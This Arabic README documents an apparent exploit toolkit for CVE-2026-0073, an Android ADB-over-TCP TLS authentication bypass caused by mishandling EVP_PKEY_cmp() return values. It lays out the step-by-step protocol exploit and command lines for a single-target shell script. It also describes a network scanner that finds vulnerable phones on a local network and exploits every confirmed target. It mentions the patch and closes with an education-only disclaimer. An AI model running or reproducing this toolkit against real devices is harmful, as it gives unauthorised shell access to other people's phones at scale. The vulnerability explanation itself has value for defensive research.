
أداة PoC لثغرة CVE-2026-0073 على أجهزة أندرويد 11+ والتي تتيح تنفيذ كود عن بُعد (RCE) فوري بدون أي نقرة على أي جهاز غير مُحدَّث مع تفعيل adb عبر tcp.
إثبات مفهوم للاستغلال وماسح شبكات لثغرة CVE-2026-0073، وهي ثغرة حرجة
لتنفيذ التعليمات البرمجية عن بُعد بدون أي تفاعل أو نقرة في مسار مصادقة
ADB-over-TCP في adbd بنظام أندرويد.
الثغرة هي خطأ منطقي في adbd_tls_verify_cert() (daemon/auth.cpp)
حيث يتم التعامل مع EVP_PKEY_cmp() كمسند منطقي (boolean). عند مقارنة مفتاح RSA مخزّن
بشهادة عميل TLS غير RSA (EC P-256 أو Ed25519)، تُرجع الدالة -1 (عدم تطابق النوع)،
وهي قيمة صحيحة (truthy) في C/C++. يؤدي هذا إلى ترقية عدم تطابق عبر الخوارزميات
إلى تطابق ناجح لمفتاح المضيف — متجاوزًا المصادقة بالكامل.
التفاصيل التقنية مأخوذة من BARGHEST.
كود PoC الأساسي مصدره SecTestAnnaQuinn.
تم تصحيحها في نشرة أمان أندرويد — مايو 2026.
من سياق shell يمكن للمهاجم فحص خصائص النظام، وحالة العمليات، والسجلات،
والإشعارات؛ وتثبيت وإزالة الحزم؛ واستخدام run-as ضد التطبيقات القابلة للتصحيح؛
وتجهيز استغلالات لاحقة.
| الملف | الغرض |
|---|---|
adb_tls_auth_bypass.py | PoC استغلال هدف واحد (أصلي من SecTestAnnaQuinn، مع تصحيح المجموع الاختباري) |
adbt_scanner.py | ماسح الشبكات — اكتشاف الأجهزة الضعيفة + استغلالها |
requirements.txt | تبعيات بايثون |
لكي ينجح الاستغلال، يجب أن يتوفر في جهاز أندرويد المستهدف ما يلي:
adbd على المنصة)/data/misc/adb/adb_keys# إنشاء بيئة افتراضية
uv venv
# تفعيلها
source .venv/bin/activate
# تثبيت التبعيات
uv pip install -r requirements.txt
التبعيات:
يتدهور أداء الماسح بأمان عند غياب الحزم الاختيارية — سيصدر تحذيرًا
ويلجأ إلى طرق بديلة (أمر ip النظامي، nmap، فحص اتصال TCP).
مهاجمة جهاز ضعيف معروف مباشرة.
python3 adb_tls_auth_bypass.py 192.168.1.42 # صدفة تفاعلية
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
أو عبر الماسح:
python3 adbt_scanner.py --host 192.168.1.42 # صدفة تفاعلية
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
فحص الشبكة المحلية بحثًا عن الأجهزة الضعيفة واستغلال جميع الأهداف المؤكدة.
# فحص كامل: mDNS → ARP → فحص المنافذ → فحص ADB → استغلال
python3 adbt_scanner.py --scan
# تشغيل أمر محدد على جميع الأجهزة الضعيفة
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# استطلاع فقط — اكتشاف دون استغلال
python3 adbt_scanner.py --scan --no-exploit
# فحص منافذ متعددة
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# تجاوز الشبكة الفرعية المكتشفة (أجهزة متعددة الواجهات، نطاقات محددة)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# ضبط المهلات للشبكات البطيئة
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# تمديد نافذة استماع mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60
# تخطي مراحل اكتشاف محددة
python3 adbt_scanner.py --scan --no-mdns # تخطي mDNS، ARP فقط
python3 adbt_scanner.py --scan --no-arp # تخطي ARP، mDNS فقط
--scan فحص الشبكة بحثًا عن الأجهزة الضعيفة + استغلال
--host HOST استغلال مباشر لهدف واحد
--port PORT منفذ ADB لوضع --host (الافتراضي: 5555)
--cmd COMMAND أمر الصدفة للتشغيل
-v, --verbose تسجيل مفصّل
--mdns-timeout SECONDS مدة استماع mDNS (الافتراضي: 30)
--ports PORTS منافذ مفصولة بفواصل في وضع --scan (الافتراضي: 5555)
--subnet CIDR تجاوز الشبكة الفرعية المكتشفة (مثال: 192.168.2.0/24)
--connect-timeout SECONDS مهلة اتصال TCP (الافتراضي: 2.0)
--probe-timeout SECONDS مهلة فحص ADB (الافتراضي: 3.0)
--arp-timeout SECONDS مهلة مسح ARP (الافتراضي: 3)
--no-mdns تخطي اكتشاف mDNS
--no-arp تخطي مسح ARP + فحص المنافذ
--no-exploit التوقف بعد مرحلة فحص بروتوكول ADB
┌─────────────────────────────────────────────────────────────┐
│ 1. اكتشاف الشبكة الفرعية — netifaces → ip route → حيلة socket │
│ 2. مستمع mDNS — _adb-tls-connect._tcp (افتراضي 30 ثانية) │
│ 3. مسح ARP — scapy.arping → nmap -sn │
│ 4. فحص المنافذ — اتصال TCP لكل مضيف:منفذ │
│ 5. فحص بروتوكول ADB — إرسال CNXN، تصنيف الاستجابة │
│ │
│ STLS → ضعيف (المتابعة إلى الاستغلال) │
│ AUTH → مصادقة ADB قديمة (ليست هذه الثغرة) │
│ CNXN → مفتوح، بدون مصادقة (يمكن الوصول إليه بالفعل) │
│ NO_ADB → ليست خدمة ADB │
│ │
│ 6. الاستغلال — ترقية TLS → تجاوز المصادقة → صدفة │
└─────────────────────────────────────────────────────────────┘
mDNS هي الطريقة الأكثر دقة للتحديد: عند اقتران تصحيح الأخطاء اللاسلكي،
يبث أندرويد _adb-tls-connect._tcp بشكل صريح. يعمل مسح ARP +
فحص المنافذ كبديل شامل.
المرحلة 1 — ADB بنص واضح
العميل → CNXN(payload="host::features=...")
الجهاز → STLS (الترقية إلى TLS مطلوبة)
المرحلة 2 — TLS 1.3 مع شهادة عميل عبر الخوارزميات
العميل → رد STLS
العميل → مصافحة TLS 1.3 + شهادة عميل EC P-256
الجهاز يستدعي adbd_tls_verify_cert():
known_evp = مفتاح RSA من /data/misc/adb/adb_keys
evp_pkey = مفتاح EC P-256 من شهادة العميل
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (عدم تطابق النوع)
if (-1) → verified = true ← خطأ: -1 قيمة صحيحة
المرحلة 3 — طبقة خدمة ADB بعد TLS
العميل يفرغ CNXN الخاص بالجهاز (النقل متصل بالفعل)
لا يتم إرسال CNXN مضيف (سيؤدي إلى طرد handle_new_connection)
العميل → OPEN(local_id, window=32MB, payload="shell:\x00")
الجهاز → OKAY → تم إنشاء تدفق الصدفة
shell (uid=2000). اختراق النواة،
والوصول الجذري، ومفاتيح مخزن المفاتيح المدعومة بالأجهزة تتطلب
رفع صلاحيات إضافي./data/misc/adb/adb_keys. الجهاز الذي تمت إعادة ضبطه حديثًا مع تفعيل تصحيح الأخطاء اللاسلكي
ولكن لم يتم اقترانه أبدًا ليس ضعيفًا.AUTH، وليس STLS، ولا تتأثر بهذه الثغرة.EVP_PKEY_cmp ليتطلب قيمة إرجاع دقيقة
== 1.هذا البرنامج مقدم لأغراض تعليمية وبحوث أمنية مصرح بها فقط. الأدوات والكود في هذا المستودع مخصصة لمساعدة محترفي الأمن والباحثين وأصحاب الأجهزة على:
يجب ألا تستخدم هذا البرنامج:
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني في معظم الولايات القضائية وقد يؤدي إلى عقوبات جنائية ومدنية. يتحمل المؤلفون والمساهمون عدم مسؤولية عن سوء الاستخدام أو الضرر أو العواقب القانونية الناشئة عن استخدام هذا البرنامج.
استخدم بمسؤولية. اعرف هدفك. احصل على إذن.
CC0 1.0 Universal — لا حقوق محفوظة.
إلى أقصى حد يسمح به القانون، تنازل المؤلفون عن جميع حقوق النشر والحقوق ذات الصلة أو المجاورة لهذا العمل.
| السمة | التفاصيل |
|---|
| متجه الهجوم | الشبكة (مجاور / قريب) |
| التفاعل | لا شيء (بدون نقرة) |
| الصلاحية المكتسبة | مستخدم shell (uid=2000)، SELinux u:r:shell:s0 |
| بدائية الاستغلال | وصول عن بُعد إلى الصدفة عبر ADB |
| CVSS | حرجة (9.8) |
| الحزمة | المستخدمة بواسطة | مطلوبة؟ |
|---|
cryptography | كلا السكربتين (توليد شهادة EC، TLS) | نعم |
netifaces | الماسح (اكتشاف الشبكة الفرعية) | مفضلة |
zeroconf | الماسح (اكتشاف mDNS) | مفضلة |
scapy | الماسح (مسح ARP) | مفضلة |